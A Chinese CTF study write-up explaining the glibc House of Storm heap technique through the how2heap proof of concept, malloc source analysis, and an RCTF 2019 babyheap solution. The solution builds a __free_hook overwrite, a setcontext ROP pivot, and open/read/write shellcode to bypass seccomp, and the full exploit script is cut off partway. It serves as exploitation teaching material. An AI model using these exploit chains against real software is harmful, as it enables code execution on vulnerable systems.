简介
介绍部分来自参考资料[0],其余内容参考自glibc malloc源码,探究了the house of storm的完整过程,以及一个实例练习
漏洞成因
堆溢出、use after free
、edit after free
适用范围
2.23
——2.29
- 可以进行
unsortedbin attack
- 可以进行
largebin attack
,修改 bk
和 bk_nextsize
- 可以分配
0x50
大小的 chunk
利用原理
house of storm
也是一款组合技,利用开启了 PIE
的 x64
程序的堆地址总是 0x55xxxx...
或者 0x56xxxx...
开头这一特性,使用一次 largebin attack
写两个堆地址,使用一次 unsortedbin attack
写一次 libc
地址,可以实现任意地址分配。虽然 house of storm
最后能达到任意地址分配,但是由于其所需的条件比较多,一般可以用其他更简便的堆利用技术代替。利用思路如下:
- 进行一次
unsortedbin attack
,其 bk
修改为 addr
- 进行一次
largebin attack
,其 bk
修改为 addr+0x10
,bk_nextsize
修改为 addr-0x20+3
- 申请
0x50
大小的 chunk
即可申请到 addr
处
相关技巧
需要注意的有:
- 该方法成功的几率是
50%
,因为 0x55
会触发 assert
断言,0x56
才能成功
- 申请
addr
处的 chunk
的时候需要从 unsortedbin
里面取
利用效果
实验:how2heap - the house of storm
实验环境:libc 2.23
/*
POC for House of Storm on 2.23
For 2.26-2.28, the tcache will need to
be full for this to work. After this,
a patch to the unsorted bin attack likely prevents this
technique from working.
This technique uses a combination of editing
the unsorted bin chunk and the large bin chunks
to write a 'size' to a user choosen address in memory.
Once this has occurred, if the size at this 'fake'
location is the same size as the allocation,
then the chunk will be returned back to the user.
This attack allows arbitrary chunks to be returned
to the user!
Written by Maxwell "Strikeout" Dulin
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char filler[0x10];
char target[0x60];
void init(){
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
// clearenv();
}
// Get the AMOUNT to shift over for size and the offset on the largebin.
// Needs to be a valid minimum sized chunk in order to work.
int get_shift_amount(char* pointer){
int shift_amount = 0;
long long ptr = (long long)pointer;
while(ptr > 0x20){
ptr = ptr >> 8;
shift_amount += 1;
}
return shift_amount - 1; // Want amount PRIOR to this being zeroed out
}
int main(){
init();
char *unsorted_bin, *large_bin, *fake_chunk, *ptr;
puts("House of Storm");
puts("======================================");
puts("Preparing chunks for the exploit");
puts("Put one chunk into unsorted bin and the other into the large bin");
puts("The unsorted bin chunk MUST be larger than the large bin chunk.");
/*
Putting a chunk into the unsorted bin and another
into the large bin.
*/
unsorted_bin = malloc ( 0x4e8 ); // size 0x4f0
// prevent merging
malloc ( 0x18 );
puts("Find the proper chunk size to allocate.");
puts("Must be exactly the size of the written chunk from above.");
/*
Find the proper size to allocate
We are using the first 'X' bytes of the heap to act
as the 'size' of a chunk. Then, we need to allocate a
chunk exactly this size for the attack to work.
So, in order to do this, we have to take the higher
bits of the heap address and allocate a chunk of this
size, which comes from the upper bytes of the heap address.
NOTE:
- This does have a 1/2 chance of failing. If the 4th bit
of this value is set, then the size comparison will fail.
- Without this calculation, this COULD be brute forced.
*/
int shift_amount = get_shift_amount(unsorted_bin);
printf("Shift Amount: %d\n", shift_amount);
size_t alloc_size = ((size_t)unsorted_bin) >> (8 * shift_amount);
if(alloc_size < 0x10){
printf("Chunk Size: 0x%lx\n", alloc_size);
puts("Chunk size is too small");
exit(1);
}
alloc_size = (alloc_size & 0xFFFFFFFFE) - 0x10; // Remove the size bits
printf("In this case, the chunk size is 0x%lx\n", alloc_size);
// Checks to see if the program will crash or not
/*
The fourth bit of the size and the 'non-main arena' chunk can NOT be set. Otherwise, the chunk. So, we MUST check for this first.
Additionally, the code at https://elixir.bootlin.com/glibc/glibc-2.27/source/malloc/malloc.c#L3438
validates to see if ONE of the following cases is true:
- av == arena_for_chunk (mem2chunk (mem))
- chunk is mmaped
If the 'non-main arena' bit is set on the chunk, then the
first case will fail.
If the mmap bit is set, then this will pass.
So, either the arenas need to match up (our fake chunk is in the
.bss section for this demo. So, clearly, this will not happen) OR
the mmap bit must be set.
The logic below validates that the fourth bit of the size
is NOT set and that either the mmap bit is set or the non-main
arena bit is NOT set. If this is the case, the exploit should work.
*/
if((alloc_size & 0x8) != 0 || (((alloc_size & 0x4) == 0x4) && ((alloc_size & 0x2) != 0x2))){
puts("Allocation size has bit 4 of the size set or ");
puts("mmap and non-main arena bit check will fail");
puts("Please try again! :)");
puts("Exiting...");
return 1;
}
large_bin = malloc ( 0x4d8 ); // size 0x4e0
// prevent merging
malloc ( 0x18 );
// FIFO
free ( large_bin ); // put small chunks first
free ( unsorted_bin );
// Put the 'large bin' chunk into the large bin
unsorted_bin = malloc(0x4e8);
free(unsorted_bin);
/*
At this point, there is a single chunk in the
large bin and a single chunk in the unsorted bin.
It should be noted that the unsorted bin chunk
should be LARGER in size than the large bin chunk
but should still be within the same bin.
In this setup, the large_bin has a chunk
of size 0x4e0 and the unsorted bin
has a chunk of size 0x4f0. This technique relies on
the unsorted bin chunk being added to the same bin
but a larger chunk size. So, careful heap feng shui
must be done.
*/
// The address that we want to write to!
fake_chunk = target - 0x10;
puts("Vulnerability! Overwrite unsorted bins 'bk' pointer with our target location.\n This is our target location to get from the allocator");
/*
The address of our fake chunk is set to the unsorted bin
chunks 'bk' pointer.
This launches the 'unsorted_bin' attack but it is NOT the
main purpose of us doing this.
After launching the 'unsorted_bin attack' the 'victim' pointer
will be set to THIS address. Our goal is to find a way to get
this address from the allocator.
Vulnerability!!
*/
((size_t *)unsorted_bin)[1] = (size_t)fake_chunk; // unsorted_bin->bk
// Only needs to be a valid address.
(( size_t *) large_bin )[1] = (size_t)fake_chunk + 8 ; // large_bin->fd
puts("Later on, we will use WRITE-WHERE primitive in the large bin to write a heap pointer to the location");
puts("of your fake chunk.");
puts("Misalign the location in order to use the primitive as a SIZE value.");
puts("The 'offset' changes depending on if the binary is PIE (5) or not PIE (2).");
puts("Vulnerability #2!");
puts("Overwrite large bins bk->nextsize with the address to put our fake chunk size at.");
/*
This can be seen as a WRITE-WHERE primitive in the large bin.
However, we are going to write a 'size' for our fake chunk using this.
So, we set https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L3579
to an address for our fake size. The write above (bk_nextsize) is
controlled via the pointer we are going to overwrite below. The
value that gets written is a heap address; the unsorted bin
chunk address above.
The 'key' to this is the offset. First, we subtract 0x18 because
this is the offset to writting to fd_nextsize in the code shown
above. Secondly, notice the -2 below. We are going
to write a 'heap address' at a mis-aligned location and
use THIS as the size. For instance, if the heap address is 0x123456
and the pointer is set to 0x60006. This will write the following way:
- 0x60006: 0x56
- 0x60007: 0x34
- 0x60008: 0x12
Now, our 'fake size' is at 0x60008 and is a valid size for the
fake chunk at 0x60008. The fake size is CRUCIAL to getting this fake chunk
from the allocator.
Second vulnerability!!!
*/
(( size_t *) large_bin)[3] = (size_t)fake_chunk - 0x18 - shift_amount; // large_bin->bk_nextsize
/*
At this point, we've corrupted everything in just the right
way so this should work.
The purpose of the attack is to have a corrupted 'bk' pointer
point to ANYWHERE we want and still get the memory back. We do
this by using the large bin code to write a size to the 'bk'
location.
This call to malloc (if you're lucky), will return a pointer
to the fake chunk that we created above.
*/
puts("Make allocation of the size that the value will be written for.");
puts("Once the allocation happens, the madness begins");
puts("Once in the unsorted bin, the 'large bin' chunk will be used in orer to ");
puts("write a fake 'size' value to the location of our target.");
puts("After this, the target will have a valid size.");
puts("Next, the unsorted bin will see that the chunk (in unsorted_bin->bk) has a valid");
puts("size and remove it from the bin.");
puts("With this, we have pulled out an arbitrary chunk!");
printf("String before: %s\n", target);
printf("String pointer: %p\n", target);
ptr = malloc(alloc_size);
strncpy(ptr, "\x41\x42\x43\x44\x45\x46\x47", 0x58 - 1);
printf("String after %s\n", target);
printf("Fake chunk ptr: %p\n", ptr);
return 0;
}
是的,又好长
the house of storm
是unsortedbin attack
和largebin attack
的组合利用,可用直到libc 2.29
的时候unsortedbin attack
被修补
流程很简单:
-
条件准备
- 准备一个unsortedbin chunk
- 准备一个largebin chunk
- 在一次malloc中进行 unsortedbin attack 和 largebin attack,向target写入三个值,伪造了1个 unsortedbin chunk 且 size 和申请大小匹配,在第二轮unsortedbin sort的过程中精确分配内存
这里的思路很有意思,通过伪造chunk指针,同时进行unsortedbin attack和largebin attack,写三个地址构造出一个unsortedbin chunk且这个chunk位于链表的下一个,然后大小刚好匹配分配内存,见下面的探究详细分析吧
探究:进行利用的那一下 malloc 中发生了什么?
最后申请的大小是0x50
在malloc中:
- 满足fastbin大小,但是没有fastbin chunk,继续
- 满足smallbin大小,但是没有smallbin chunk,继续
-
unsortedbin 处理:
- 没有进行 remainder 处理(为什么?见下面的[探究])
- 断链,发生unsortedbin attack,向bk->fd位置写入unsortedbin的地址(arena+88),此时unsortedbin链表并没有断掉,unsortedbin chunk依然存在
-
大小不匹配,chunk size属于largebin 范围,插入到largebin链表中
- 排序过程中发生 largebin attack,向bk->fd位置写入unsortedbin chunk的地址,向bk_nextsize->fd_nextsize位置写入unsortedbin chunk的地址,此时unsortedbin chunk被插入largebin中
-
此时的target变量:已经成功伪造出fake结构了(一次性写了三个值在target附近,同时也伪造出了一个unsortedbin chunk)
pwndbg> dq 0x602090
0000000000602090 30007ffff7fcb8e0 0000000000000060 target - 0x10 largebin attack bk_nextsize写入到了这里
00000000006020a0 00007ffff7fcbb78 0000000000603000 target unsortedbin attack的写入,largebin attack bk的写入
00000000006020b0 0000000000000000 0000000000000000
00000000006020c0 0000000000000000 0000000000000000
-
此时的bin:
pwndbg> bin
fastbins
empty
unsortedbin
all [corrupted]
FD: 0x603000 —▸ 0x603510 —▸ 0x7ffff7fcbf98 (main_arena+1144) ◂— 0x603510
BK: 0x602090 (stdin@@GLIBC_2.2.5) —▸ 0x603000 —▸ 0x602098 (completed) ◂— 0x0
smallbins
empty
largebins
0x4c0-0x4f0 [corrupted]
FD: 0x603510 —▸ 0x7ffff7fcbf98 (main_arena+1144) ◂— 0x603510
BK: 0x603510 —▸ 0x603000 —▸ 0x602098 (completed) ◂— 0x0
-
进行第二轮 unsortedbin 处理(此时上一个unsortedbin chunk没有被断开,会继续进入循环)
-
此时的unsortedbin chunk是被成功伪造好了的(如何伪造见下面的[探究]),断链后:
unsortedbin
all [corrupted]
FD: 0x603000 —▸ 0x7ffff7fcbb78 (main_arena+88) ◂— 0x603000
BK: 0x603000 —▸ 0x602098 (completed) ◂— 0x0
- 断链断的是指向0x602090的chunk,这里是我们伪造的chunk,此时出现大小刚好匹配:0x60,直接将该chunk分配出去
- 分配fake chunk出去了
探究:其中unsortedbin attack 的作用是什么?bk 如何构造?
fastbin attack通过构造fake fastbin chunk 来申请走fake chunk,house of storm则是通过构造fake unsortedbin chunk来申请走chunk
unsortedbin chunk位于双向链表中,在sorting机制的过程中,会从bk取出chunk进行处理,期望最终进行的流程是:
bck = victim->bk;
...
/* remove from unsorted list */
// 断链
unsorted_chunks(av)->bk = bck;
bck->fd = unsorted_chunks(av);
/* Take now instead of binning if exact fit */
// 如果大小精准匹配,就直接分配返回
if (size == nb)
{
set_inuse_bit_at_offset(victim, size);
if (av != &main_arena)
victim->size |= NON_MAIN_ARENA;
check_malloced_chunk(av, victim, nb);
void *p = chunk2mem(victim);
alloc_perturb(p, bytes);
return p;
}
断链后,chunk大小刚好匹配,然后分配走
那么问题就在于,要如何让bk上有这么一个大小刚好匹配的fake chunk了
先不考虑如何构造fake chunk,第一个问题是,如何让bk等于目标地址?
bck = victim->bk;
...
unsorted_chunks(av)->bk = bck;
只需要在第一次断链的时候 unsortedbin chunk 的 bk 指向fake chunk即可,
所以,unsortedbin attack的目标是:
- 让 unsortedbin chunk 的 bk 指向 fake chunk,断链后,unsortedbin 的 bk 指向 fake chunk
让 fake chunk 的 fd 有合法地址,不对,fd是什么都无所谓,反正不参与bin的链表的组成
探究:其中 largebin attack 的作用是什么?bk 和 bk_nextsize 是怎么构造的?
那么第二个问题就是,如何构造fake unsortedbin chunk?
unsortedbin chunk 有size,fd,bk 三个字段:
在之前的unsortedbin attack中,完成了对 unsortedbin -> bk 的修改,以及对 fake chunk fd 的填充(可有可无,无所谓),largebin attack 负责进行剩下的部分工作:设置一个合适的 size,填充 fake chunk 的 bk
在 libc2.30 之前,largebin attack 可以一次性把一个chunk地址写入任意两个地方,这里刚好可以达到目标,看代码:
fake_chunk = target - 0x10;
...
(( size_t *) large_bin)[1] = (size_t)fake_chunk + 8 ; // large_bin->fd
...
(( size_t *) large_bin)[3] = (size_t)fake_chunk - 0x18 - shift_amount; // large_bin->bk_nextsize
首先是要写bk为一个合法的值,通过bk这个链表去实现的话,目标就是target-0x10+8
其次是要写size为一个指定大小,通过bk_nextsize去实现的话,会把值写入目标地址+0x20的地方,而目标需要的是一个字节的值,那就把最高字节写入size字段,这里是调试模式下没有pie,所以地址是0x603000这样的地址
其中这个变量的值是:
pwndbg> p/x shift_amount
$1 = 0x2
因为内存地址3个字节,移动2个字节,留1个字节,这里希望最高位的字节留在0x602098的地址上:
pwndbg> dq 0x0000000000602076
0000000000602076 0000000000000000 7ffff7fcc6200000
0000000000602086 0000000000000000 7ffff7fcb8e00000
0000000000602096 0000000000603000 7ffff7fcbb780000
00000000006020a6 0000006030000000 0000000000000000
因为是小端序存储,这里的0x00 0x30位于地址0x602096 0x602097,这里的0x60位于0x602098:
pwndbg> dq 0x0000000000602090
0000000000602090 30007ffff7fcb8e0 0000000000000060
00000000006020a0 00007ffff7fcbb78 0000000000603000
00000000006020b0 0000000000000000 0000000000000000
00000000006020c0 0000000000000000 0000000000000000
探究:为何说实战成功率只有50%?unsortedbin chunk 比较大小是如何比较的?
在从int_malloc中申请返回之后,回到了__libc_malloc(__libc_calloc 也是一样的),这里在最终return之前有个断言,检查mmap位和arena位,也就是需要第2位是1或第3位是0
堆地址常见两种开头的字节:0x55和0x56,其中第三位都是1,那么唯一需要满足的条件就是,第二位是1,也就是mapped位为1,那就只有0x56开头的情况能做到,0x55开头的情况做不到
void *
__libc_malloc(size_t bytes)
{
mstate ar_ptr;
void *victim;
void *(*hook)(size_t, const void *) = atomic_forced_read(__malloc_hook);
if (__builtin_expect(hook != NULL, 0))
return (*hook)(bytes, RETURN_ADDRESS(0));
arena_get(ar_ptr, bytes);
victim = _int_malloc(ar_ptr, bytes);
/* Retry with another arena only if we were able to find a usable arena
before. */
if (!victim && ar_ptr != NULL)
{
LIBC_PROBE(memory_malloc_retry, 1, bytes);
ar_ptr = arena_get_retry(ar_ptr, bytes);
victim = _int_malloc(ar_ptr, bytes);
}
if (ar_ptr != NULL)
(void)mutex_unlock(&ar_ptr->mutex);
assert(!victim || chunk_is_mmapped(mem2chunk(victim)) ||
ar_ptr == arena_for_chunk(mem2chunk(victim))); // 会检查申请的chunk 的标志位
return victim;
}
两个宏:
/* size field is or'ed with IS_MMAPPED if the chunk was obtained with mmap() */
#define IS_MMAPPED 0x2
/* check for mmap()'ed chunk */
#define chunk_is_mmapped(p) ((p)->size & IS_MMAPPED)
/* size field is or'ed with NON_MAIN_ARENA if the chunk was obtained
from a non-main arena. This is only set immediately before handing
the chunk to the user, if necessary. */
#define NON_MAIN_ARENA 0x4
/* check for chunk from non-main arena */
#define chunk_non_main_arena(p) ((p)->size & NON_MAIN_ARENA)
探究:unsortedbin chunk 进入 last_remainder 的条件是什么?
这里malloc的时候,存在一个unsortedbin chunk,但是并不是 last_remainder,那么unsortedibn chunk成为last_remainder的条件是什么?
在malloc.c源码搜索last_remainder发现,只有一种情况会出现last_remainder:
malloc流程中:
- unsortedbin sorting 流程走完之后
- 申请大小nb属于smallbin size,不进入largebin的处理
- 开始使用bitmap扫描所有的bin
- 在largebin中找到可用的空闲chunk,大小可以进行分割,就进行分割处理,分割完把剩下的装入unsortedbin并记录为last_remainder
/* Inspect the bin. It is likely to be non-empty */
victim = last(bin);
/* If a false alarm (empty bin), clear the bit. */
if (victim == bin)
{
av->binmap[block] = map &= ~bit; /* Write through */
bin = next_bin(bin);
bit <<= 1;
}
else
{
size = chunksize(victim);
/* We know the first chunk in this bin is big enough to use. */
assert((unsigned long)(size) >= (unsigned long)(nb));
remainder_size = size - nb;
/* unlink */
unlink(av, victim, bck, fwd);
/* Exhaust */
if (remainder_size < MINSIZE)
{
set_inuse_bit_at_offset(victim, size);
if (av != &main_arena)
victim->size |= NON_MAIN_ARENA;
}
/* Split */
else
{
remainder = chunk_at_offset(victim, nb);
/* We cannot assume the unsorted list is empty and therefore
have to perform a complete insert here. */
bck = unsorted_chunks(av);
fwd = bck->fd;
if (__glibc_unlikely(fwd->bk != bck))
{
errstr = "malloc(): corrupted unsorted chunks 2";
goto errout;
}
remainder->bk = bck;
remainder->fd = fwd;
bck->fd = remainder;
fwd->bk = remainder;
/* advertise as last remainder */
if (in_smallbin_range(nb))
av->last_remainder = remainder; // 生成last_remainder
if (!in_smallbin_range(remainder_size))
{
remainder->fd_nextsize = NULL;
remainder->bk_nextsize = NULL;
}
set_head(victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head(remainder, remainder_size | PREV_INUSE);
set_foot(remainder, remainder_size);
}
总结
学习house of storm,见识到了伪造unsortedbin chunk进行分配的操作,一次malloc中触发两种堆利用,进一步熟悉了malloc.c的流程
实验: rctf 2019 - babyheap
实验环境:libc 2.23
逆向分析
main:
int __fastcall main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
while ( 1 )
{
menu();
switch ( get_int() )
{
case 1:
add();
break;
case 2:
edit(); // off by null
break;
case 3:
delete();
break;
case 4:
show();
break;
case 5:
puts("See you next time!");
exit(0);
default:
puts("Invalid choice!");
break;
}
}
}
init:
unsigned __int64 init()
{
int fd; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
fd = open("/dev/urandom", 0);
if ( fd < 0 )
{
puts("open failed!");
exit(-1);
}
read(fd, &ptrs, 8uLL); // 获取随机值
close(fd);
ptrs = (void *)((unsigned int)ptrs & 0xFFFF0000);
mallopt(1, 0);
if ( mmap(ptrs, 0x1000uLL, 3, 34, -1, 0LL) != ptrs )// 映射随机地址
{
puts("mmap error!");
exit(-1);
}
signal(14, timeout_handler);
alarm(0x3Cu);
if ( prctl(38, 1LL, 0LL, 0LL, 0LL) )
{
puts("Could not start seccomp:");
exit(-1);
}
if ( prctl(22, 2LL, &filterprog) == -1 ) // 沙箱,启动
{
puts("Could not start seccomp:");
exit(-1);
}
return __readfsqword(0x28u) ^ v2;
}
add:
unsigned __int64 add()
{
ptr_struct *v0; // rbx
int i; // [rsp+0h] [rbp-20h]
int size; // [rsp+4h] [rbp-1Ch]
unsigned __int64 v4; // [rsp+8h] [rbp-18h]
v4 = __readfsqword(0x28u);
for ( i = 0; ptrs[i].ptr && i <= 15; ++i ) // ptrs是个结构体,有2个dq
;
if ( i == 16 ) // 最多16个
{
puts("You can't");
exit(-1);
}
printf("Size: ");
size = get_int();
if ( size <= 0 || size > 0x1000 ) // size 最大 0x1000
{
puts("Invalid size :(");
}
else
{
LODWORD(ptrs[i].size) = size; // 在很靠后的位置保存size
v0 = &ptrs[i];
v0->ptr = (__int64)calloc(size, 1uLL); // calloc申请内存
puts("Add success :)");
}
return __readfsqword(0x28u) ^ v4;
}
edit:
unsigned __int64 edit()
{
unsigned int idx; // [rsp+0h] [rbp-10h]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
printf("Index: ");
idx = get_int();
if ( idx <= 0xF && *((_QWORD *)ptrs + 2 * (int)idx) )
{
printf("Content: ");
*(_BYTE *)(*((_QWORD *)ptrs + 2 * (int)idx) // off by null?
+ (int)read_n(*((_QWORD *)ptrs + 2 * (int)idx), *((unsigned int *)ptrs + 4 * (int)idx + 2))) = 0;
puts("Edit success :)");
}
else
{
puts("Invalid index :(");
}
return __readfsqword(0x28u) ^ v2;
}
delete:
unsigned __int64 delete()
{
unsigned int idx; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
printf("Index: ");
idx = get_int();
if ( idx <= 0xF && *((_QWORD *)ptrs + 2 * (int)idx) )
{
free(*((void **)ptrs + 2 * (int)idx)); // 释放
*((_QWORD *)ptrs + 2 * (int)idx) = 0LL; // 指针清空
*((_DWORD *)ptrs + 4 * (int)idx + 2) = 0; // 大小清零
puts("Delete success :)");
}
else
{
puts("Invalid index :(");
}
return __readfsqword(0x28u) ^ v2;
}
show:
unsigned __int64 show()
{
unsigned int idx; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
printf("Index: ");
idx = get_int();
if ( idx <= 0xF && *((_QWORD *)ptrs + 2 * (int)idx) )
puts(*((const char **)ptrs + 2 * (int)idx));
else
puts("Invalid index :(");
return __readfsqword(0x28u) ^ v2;
}
思路分析
libc 2.23 版本,保护全开,只有一个off by null漏洞,释放的所有 chunk 都进入了unsortedbin,fastbin被禁用了,global_fast_max=0x10(不知道怎么改的,见探究)
存在沙箱,禁用了一些系统调用:不能用execve了
rctf2019_babyheap ➤ seccomp-tools dump ./rctf_2019_babyheap
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x01 0x00 0xc000003e if (A == ARCH_X86_64) goto 0003
0002: 0x06 0x00 0x00 0x00000000 return KILL
0003: 0x20 0x00 0x00 0x00000000 A = sys_number
0004: 0x15 0x00 0x01 0x00000029 if (A != socket) goto 0006
0005: 0x06 0x00 0x00 0x00000000 return KILL
0006: 0x15 0x00 0x01 0x0000003b if (A != execve) goto 0008
0007: 0x06 0x00 0x00 0x00000000 return KILL
0008: 0x15 0x00 0x01 0x00000039 if (A != fork) goto 0010
0009: 0x06 0x00 0x00 0x00000000 return KILL
0010: 0x15 0x00 0x01 0x0000009d if (A != prctl) goto 0012
0011: 0x06 0x00 0x00 0x00000000 return KILL
0012: 0x15 0x00 0x01 0x0000003a if (A != vfork) goto 0014
0013: 0x06 0x00 0x00 0x00000000 return KILL
0014: 0x15 0x00 0x01 0x00000065 if (A != ptrace) goto 0016
0015: 0x06 0x00 0x00 0x00000000 return KILL
0016: 0x15 0x00 0x01 0x0000003e if (A != kill) goto 0018
0017: 0x06 0x00 0x00 0x00000000 return KILL
0018: 0x15 0x00 0x01 0x00000038 if (A != clone) goto 0020
0019: 0x06 0x00 0x00 0x00000000 return KILL
0020: 0x06 0x00 0x00 0x7fff0000 return ALLOW
off by null 漏洞的利用通常是用来创造堆块重叠的,堆块重叠的作用是造成UAF,泄露地址或者修改指针
本例中可用的chunk大小最大0x1000字节,可以分配large size chunk
libc 2.23 版本,此时可以进行 unsortedbin attack,largebin attack
the house of storm 的使用条件是,有largebin chunk和unsortedbin chunk,且前者小于后者,各自的指针可被修改,可以达成的目标是,在任意地址创造一个fake chunk并申请走
在 2.23 版本中,很常见的一个攻击目标是__free_hook指针,如果能在那里伪造chunk,即可劫持控制流
还见到一个思路是[1]:通过unsortedbin attack攻击global_fast_max来启动fastbin,然后用fastbin attack去打_IO_list_all,通过FSOP控制执行流
the house of einherjar
具体利用细节详解见参考资料[2]
# house of einherjar
# leak address
add(0x18)#0
add(0x28)#1 use for fake largebin bk
add(0xf8)#2
add(0x18)#3
add(0x18)#4
add(0x18)#5
add(0x18)#6
dele(0)
edit(1,b'a'*0x20+pack(0x50))
dele(2)
add(0x18)#0
leak = show(1)
leak = unpack(leak,'all')
libc.address = leak - 0x3c4b78
success(f"leak address => {hex(leak)}")
success(f"libc address => {hex(libc.address)}")
# leak haep
add(0x128)#2
dele(5)
dele(2)
leak2 = show(1)
leak2 = unpack(leak2,'all')
heap_address = leak2 & ~(0xfff)
success(f"heap leak address => {hex(leak2)}")
success(f"heap address => {hex(heap_address)}")
简单概况一下就是:
接下来是拿到heap leak:申请走完整的unsortedbin chunk,然后释放一个chunk,再释放刚刚那个完整的unsortedbin chunk,让其进入链表的第二个位置,使得其fd指针指向第一个unsortedbin chunk,拿到heap leak
the house of storm
# house of storm
# prepare the largebin & unsortedbin
dele(6)
dele(4)
dele(3)
add(0x3f8) #2
add(0x18) #3
add(0x4f8) #4
add(0x18) #5
add(0x3f8) #6
add(0x18) #7
dele(4)
edit(5,b'5'*0x10+pack(0x520))
dele(6)
dele(2)
add(0x4f8) #2 rop
target = libc.sym.__free_hook - 0x10
edit(1,flat({
0x00:pack(leak+0x3f0)+pack(target+0x8), # bk
0x10:pack(leak2+0x20)+pack(target-0x20+3), # bk_nextsize
}))
edit(5,pack(leak)+pack(target)) # unsortedbin bk
add(0x48) #4
接下来布局堆,我需要一个unsortedbin chunk和一个largebin chunk,其中largebin chunk size 小于 unsortedbin chunk,且他们的指针都可控
这里的操作是,先释放chunk,都合并到top中,然后重新开始布局
因为需要一个largebin chunk和unsortedbin chunk同时存在,而largebin chunk是在malloc中sort阶段从unsortedbin中移动过去的,这里的思路是:
- 1号chunk是可控一个chunk的指针(2号chunk),这里创造一个大小为0x400的chunk(最小的largebin chunk)
- 通过同样的方法在构造一个可控指针的空闲chunk(5号chunk),但是比2号chunk大很多很多
- 为了避免largebin chunk被切割,那就让unsortedbin chunk被切割,做法就是,unsortedbin chunk很大,被整理到其他的largebin中,然后申请的大小超过2号chunk的大小,于是就从大的largebin chunk分割然后放回unsortedbin 中
- 到此,构造好了堆布局
接下来填充bk和bk_nextsize,具体怎么填见上一个实验
回顾一下过程,这里最后一次申请0x48的过程是:
- unsortedbin chunk被整理到largebin中,大小比原本的largebin chunk大
- 断链和调整顺序触发unsortedbin attack,unsortedbin->bk指向fake chunk
- 触发largebin attack,让fake chunk有了size和bk字段
- 遍历到下一个unsortedbin chunk的时候,发现大小刚好匹配,直接分配走
由此,控制了__free_hook
堆 ROP + orw 沙箱逃逸
万能gadget:setcontext:可以用来控制rsp指针,然后就可以构造rop去劫持控制流了
0x00007fc5b6198b85 <+53>: mov rsp,QWORD PTR [rdi+0xa0] 0x47b85
0x00007fc5b6198b8c <+60>: mov rbx,QWORD PTR [rdi+0x80]
0x00007fc5b6198b93 <+67>: mov rbp,QWORD PTR [rdi+0x78]
0x00007fc5b6198b97 <+71>: mov r12,QWORD PTR [rdi+0x48]
0x00007fc5b6198b9b <+75>: mov r13,QWORD PTR [rdi+0x50]
0x00007fc5b6198b9f <+79>: mov r14,QWORD PTR [rdi+0x58]
0x00007fc5b6198ba3 <+83>: mov r15,QWORD PTR [rdi+0x60]
0x00007fc5b6198ba7 <+87>: mov rcx,QWORD PTR [rdi+0xa8]
0x00007fc5b6198bae <+94>: push rcx
0x00007fc5b6198baf <+95>: mov rsi,QWORD PTR [rdi+0x70]
0x00007fc5b6198bb3 <+99>: mov rdx,QWORD PTR [rdi+0x88]
0x00007fc5b6198bba <+106>: mov rcx,QWORD PTR [rdi+0x98]
0x00007fc5b6198bc1 <+113>: mov r8,QWORD PTR [rdi+0x28]
0x00007fc5b6198bc5 <+117>: mov r9,QWORD PTR [rdi+0x30]
0x00007fc5b6198bc9 <+121>: mov rdi,QWORD PTR [rdi+0x68]
0x00007fc5b6198bcd <+125>: xor eax,eax
0x00007fc5b6198bcf <+127>: ret
关于 rop,这里沙箱禁止了execve,那就只能orw来拿flag了,一个通用思路就是,提前堆里写入好orw的shellcode,通过调用mprotect修改堆执行属性,然后跳转到shellcode中执行
mov_rsp_ret = libc.address+0x47b85
addr = heap_address+0x450
r = ROP(libc)
r(rdi=heap_address)
r(rsi=0x1000)
r(rdx=7)
r.raw(libc.sym.mprotect)
r.raw(heap_address+0x538)
code = """
xor rsi,rsi
mov rax,SYS_open
call here
.string "./flag"
here:
pop rdi
syscall
mov rdi,rax
mov rsi,rsp
mov rdx,0x100
mov rax,SYS_read
syscall
mov rdi,1
mov rsi,rsp
mov rdx,0x100
mov rax,SYS_write
syscall
mov rax,SYS_exit
syscall
"""
sc = asm(code)
r.raw(sc)
payload = flat({
0x00:b"echo *; read FLAG < ./flag;echo $FLAG",
0xa0:pack(heap_address+0x450+0xa0), #rsp
0xa8:r.chain()
},filler='\x00')
edit(2,payload)
edit(4,pack(mov_rsp_ret))
dele(2)
完整 exp
#!/usr/bin/env python3
# Date: 2024-01-23 17:05:38
# Link: https://github.com/RoderickChan/pwncli
# Usage:
# Debug : python3 exp.py debug elf-file-path -t -b malloc
# Remote: python3 exp.py remote elf-file-path ip:port
from pwncli import *
cli_script()
io: tube = gift.io
elf: ELF = gift.elf
libc: ELF = gift.libc
# one_gadgets: list = get_current_one_gadget_from_libc(more=False)
CurrentGadgets.set_find_area(find_in_elf=True, find_in_libc=True, do_initial=False)
def cmd(i, prompt="Choice: \n"):
sla(prompt, i)
def add(nb):
cmd('1')
sla('Size: ',str(nb))
#......
def edit(idx,content):
cmd('2')
sla('Index: ',str(idx))
sa('Content: ',content)
#......
def show(idx):
cmd('4')
sla('Index: ',str(idx))
return rl()[:-1]
#......
def dele(idx):
cmd('3')
sla('Index: ',str(idx))
# edit have off by null vuln
# i think target is __free_hook , create a fake chunk in there and alloc it
# house of einherjar
# leak address
add(0x18)#0
add(0x28)#1 use for fake largebin bk
add(0xf8)#2
add(0x18)#3
add(0x18)#4
add(0x18)#5
add(0x18)#6
dele(0)
edit(1,b'a'*0x20+pack(0x50))
dele(2)
add(0x18)#0
leak = show(1)
leak = unpack(leak,'all')
libc.address = leak - 0x3c4b78
success(f"leak address => {hex(leak)}")
success(f"libc address => {hex(libc.address)}")
# leak haep
add(0x128)#2
dele(5)
dele(2)
leak2 = show(1)
leak2 = unpack(leak2,'all')
heap_address = leak2 & ~(0xfff)
success(f"heap leak address => {hex(leak2)}")
